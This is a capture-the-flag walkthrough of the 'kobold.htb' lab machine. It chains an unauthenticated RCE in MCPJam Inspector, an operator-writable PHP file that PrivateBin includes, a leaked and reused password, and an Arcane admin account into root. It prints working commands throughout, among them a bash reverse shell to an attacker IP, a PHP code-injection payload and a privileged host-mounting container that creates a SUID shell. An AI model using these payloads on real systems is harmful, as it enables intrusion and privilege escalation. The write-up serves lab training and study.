Every command below was re-run against a live instance while writing this up, and the output is what came back. The target IP changes with every spawn, so substitute your own. The versions, paths and credentials are what the box actually returns.
Reconfour ports · a wildcard cert · three apps
A fast full-port sweep first, then a scripted scan of only what answered.
db-d2@kali:~$ sudo nmap -sS -p- --min-rate 1500 -T4 --open 10.129.39.254 PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 443/tcp open https 3552/tcp open taserver db-d2@kali:~$ nmap -sVC -p 22,80,443,3552 10.129.39.254 22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.15 80/tcp open http nginx 1.24.0 (Ubuntu) # 301 -> https://kobold.htb/ 443/tcp open ssl/http nginx 1.24.0 (Ubuntu) |_http-title: Kobold Operations Suite | ssl-cert: Subject: commonName=kobold.htb |_Subject Alternative Name: DNS:kobold.htb, DNS:*.kobold.htb 3552/tcp open http Golang net/http server
The apex on 443 is a static "Coming Soon" placeholder with nothing to click. The useful detail is in its certificate. The Subject Alternative Name is a wildcard, *.kobold.htb, which is the site telling you that virtual hosts exist without naming them. A wildcard cert is issued precisely so that many sub-names share it, so its presence is an invitation to go looking for those names.
Port 3552 is a Go web app. Its manifest names it outright.
db-d2@kali:~$ curl -s http://10.129.39.254:3552/app.webmanifest { "name": "Arcane", "description": "Modern Docker container management platform", ... }
So the box is themed around containers, and it runs a container-management UI. Hold that thought, because the whole escalation ends there. First, find the vhosts the wildcard cert hinted at by fuzzing the Host: header.
db-d2@kali:~$ ffuf -w subdomains-top1million-20000.txt -u https://kobold.htb/ \ -H "Host: FUZZ.kobold.htb" -k -ac mcp [Status: 200, Size: 466] bin [Status: 200, Size: 24402]
Two hits. After adding both to /etc/hosts, they fingerprint in a line each.
| Host | Application | Version | Role in the chain |
|---|---|---|---|
| mcp.kobold.htb | MCPJam Inspector | 1.4.2 | foothold (unauth RCE) |
| bin.kobold.htb | PrivateBin | 2.0.2 | the pivot, via a writable file |
| :3552 | Arcane | 1.13.0 | root, as an admin |
db-d2@kali:~$ curl -sk https://mcp.kobold.htb/ | grep -oE '<title>[^<]*' <title>MCPJam Inspector db-d2@kali:~$ curl -sk https://mcp.kobold.htb/assets/index-DRYhT9Xb.js | grep -oE 'version:"1\.4\.[0-9]+' version:"1.4.2 db-d2@kali:~$ curl -sk https://bin.kobold.htb/ | grep -oE 'js/privatebin.js\?[0-9.]+' js/privatebin.js?2.0.2
MCPJam Inspector is a developer tool for poking at MCP servers, the "USB-C for AI tools" plumbing. PrivateBin is a zero-knowledge pastebin. Arcane is a docker-management dashboard. The theme is coherent, and so is the chain, since each app hands you the key to the next.
Foothold as benMCPJam Inspector · CVE-2026-23744 · unauthenticated RCE
MCPJam Inspector connects to MCP servers so a developer can inspect them. An MCP server, in the stdio transport, is just a local process the inspector launches and talks to over stdin and stdout. The connect endpoint therefore takes a command and its arguments and runs them. That is fine on 127.0.0.1, which is where a debug tool belongs. Version 1.4.2 binds to 0.0.0.0 instead and requires no authentication, so the "launch this MCP server" feature becomes "run this command" for anyone who can reach the port.
Unauthenticated POST /api/mcp/connect accepts a serverConfig with command and args and executes it as the service owner, no credentials required. Fixed in 1.4.3 by binding to loopback and adding auth. The endpoint tells you exactly what it wants when you knock on it empty.
db-d2@kali:~$ curl -sk -X POST https://mcp.kobold.htb/api/mcp/connect -H 'Content-Type: application/json' -d '{}' {"success":false,"error":"serverConfig is required"}
Give it a serverConfig whose command is a reverse shell. setsid detaches the shell from the connection so it survives when the inspector tears the MCP session down.
db-d2@kali:~$ nc -lvnp 4444 & db-d2@kali:~$ curl -sk https://mcp.kobold.htb/api/mcp/connect -H 'Content-Type: application/json' \ -d '{"serverConfig":{"command":"setsid","args":["bash","-c", "bash -i >& /dev/tcp/10.10.16.212/4444 0>&1"],"env":{}},"serverId":"x"}' connect to [10.10.16.212] from (UNKNOWN) [10.129.39.254] ben@kobold:/usr/local/lib/node_modules/@mcpjam/inspector$ id; cat /home/ben/user.txt uid=1001(ben) gid=1001(ben) groups=1001(ben),37(operator) 1·······························
The shell lands as ben, and it lands inside the inspector's own node_modules, which confirms the service runs on the host as this user rather than in a container. Note the second group, operator. It does nothing yet, and it is the whole reason the next step is possible.
ben → the PrivateBin containeran operator-writable file that PrivateBin runs
So enumerate from where ben actually stands, starting with that operator group. What does it grant? It owns PrivateBin's data directory, and PrivateBin keeps a few small PHP state files there. Most are read-only, but not all.
ben@kobold:~$ ls -la /privatebin-data/data/*.php -rwxrwxrwx 1 root operator 47 /privatebin-data/data/purge_limiter.php -rw-r----- 1 root operator 132 /privatebin-data/data/traffic_limiter.php -rwxrwxrwx 1 root operator 522 /privatebin-data/data/salt.php ben@kobold:~$ cat /privatebin-data/data/purge_limiter.php <?php $GLOBALS['purge_limiter'] = '1772628585';
PrivateBin does not read purge_limiter.php as text, it include()s it to pick up that global, and it does so during a paste creation to decide whether to purge expired pastes. Anything you put in that file is therefore executed as PHP the next time someone stores a paste. This is a code-execution primitive, and the interesting part is whose code it becomes.
Replace the file with a small probe, then create a paste to trigger the include.
ben@kobold:/privatebin-data/data$ cat > purge_limiter.php <<'PHP' <?php @file_put_contents(__DIR__."/o.txt", shell_exec("id; hostname; ls /var/run/docker.sock 2>&1")); $GLOBALS["purge_limiter"]="1772628585"; PHP # from Kali, POST a valid PrivateBin v2 paste to make PrivateBin include() the file db-d2@kali:~$ curl -sk https://bin.kobold.htb/ -H 'X-Requested-With: JSONHttpRequest' \ -d '{"v":2,"adata":[["...b64...","...b64...",100000,256,128,"aes","gcm","zlib"],"plaintext",0,0],"ct":"...b64...","meta":{"expire":"5min"}}' {"status":0,"id":"368f5f95...","url":"\/?368f5f95...","deletetoken":"..."} ben@kobold:/privatebin-data/data$ cat o.txt uid=65534(nobody) gid=82(www-data) groups=82(www-data) 4c49dd7bb727 ls: /var/run/docker.sock: No such file or directory
The code did not run as ben. It ran as nobody on host 4c49dd7bb727, which is the PrivateBin container. The data directory is bind-mounted into that container, so a file ben can write becomes a file the container executes. There is no docker socket inside the container, so this is not a direct escape. What it does give is the container's own view of the filesystem, and one file there matters.
PrivateBin's conf.php lives at /srv/cfg/conf.php inside the container. On the host that directory is 750 root:82, so ben cannot read it, but the container's www-data is group 82, so from inside it is readable. Point the same primitive at it.
ben@kobold:/privatebin-data/data$ cat o.txt # after re-pointing the probe at /srv/cfg/conf.php [model_options] dsn = "mysql:host=localhost;dbname=privatebin;charset=UTF8" usr = "privatebin" pwd = "ComplexP@sswordAdmin1928"
A database password, the only credential the whole container holds. The MySQL model is not even the active storage backend here, which makes the value feel like a leftover. It is not a leftover. It is the pivot.
root.txtthe leaked password is the Arcane admin · Arcane is root
Back to Arcane on 3552, which earlier refused everything with a 401. It is a docker-management dashboard, and it runs as root with a direct line to the docker daemon, so an admin session there is as good as a root shell. The only question was the password, and the container just handed one over. Try it against the login, and try the obvious usernames.
db-d2@kali:~$ curl -s http://10.129.39.254:3552/api/auth/login -H 'Content-Type: application/json' \ -d '{"username":"arcane","password":"ComplexP@sswordAdmin1928"}' {"success":true,"data":{"token":"eyJ...","user":{"username":"arcane", "roles":["admin"],"...":"..."}}} # JWT payload also shows app_version 1.13.0
Arcane 1.13.0 does have known issues, and it is tempting to reach for them. The updater command-injection is already patched in this build, and forging an admin token fails because the server re-validates the user against a database you cannot read. None of that is needed. The service authenticates you as a real admin with a real password, and an Arcane admin can create containers on a root-owned daemon. A container that bind-mounts the host root filesystem and runs privileged is root on the host. This is the docker-socket-equals-root principle, reached through a REST API instead of the socket.
Drive the API. List the environment, then create a privileged container from a locally present image that bind-mounts the host, and have it drop a SUID bash and copy out the flag.
db-d2@kali:~$ TOK=... ; API=http://10.129.39.254:3552/api db-d2@kali:~$ curl -s $API/environments/0/images -H "Authorization: Bearer $TOK" | jq -r '.data[].repoTags[]' mysql:latest privatebin/nginx-fpm-alpine:2.0.2 db-d2@kali:~$ curl -s $API/environments/0/containers -H "Authorization: Bearer $TOK" \ -H 'Content-Type: application/json' -d '{ "image":"mysql:latest","name":"maint", "entrypoint":["/bin/bash","-c"], "cmd":["cp /host/bin/bash /host/tmp/rootbash; chmod 4755 /host/tmp/rootbash; \ cat /host/root/root.txt > /host/tmp/rt.txt; chmod 644 /host/tmp/rt.txt"], "hostConfig":{"binds":["/:/host"],"privileged":true} }' {"success":true,"data":{"id":"319f4de7...","status":"running"}} db-d2@kali:~$ curl -s $API/environments/0/containers/319f4de7.../start -H "Authorization: Bearer $TOK" -d '{}' {"success":true,"data":{"message":"Container started successfully"}}
The container runs as root with the host at /host, so the SUID bash it leaves in /tmp is owned by root. Back in the ben shell, run it with -p to keep the elevated privileges.
ben@kobold:~$ /tmp/rootbash -p -c 'id; cat /root/root.txt' uid=1001(ben) gid=1001(ben) euid=0(root) groups=1001(ben),37(operator) 2·······························
Root here is four reuses of trust, each defensible on its own. A debug tool trusted its own network position and ran a command. A container trusted a bind-mounted file and executed it. A config file kept a password that a second service reused. And a dashboard trusted an admin password with the one thing that is always root, the docker daemon. No single step is exotic, and that is the point. Root is what you get when four ordinary conveniences line up behind one another.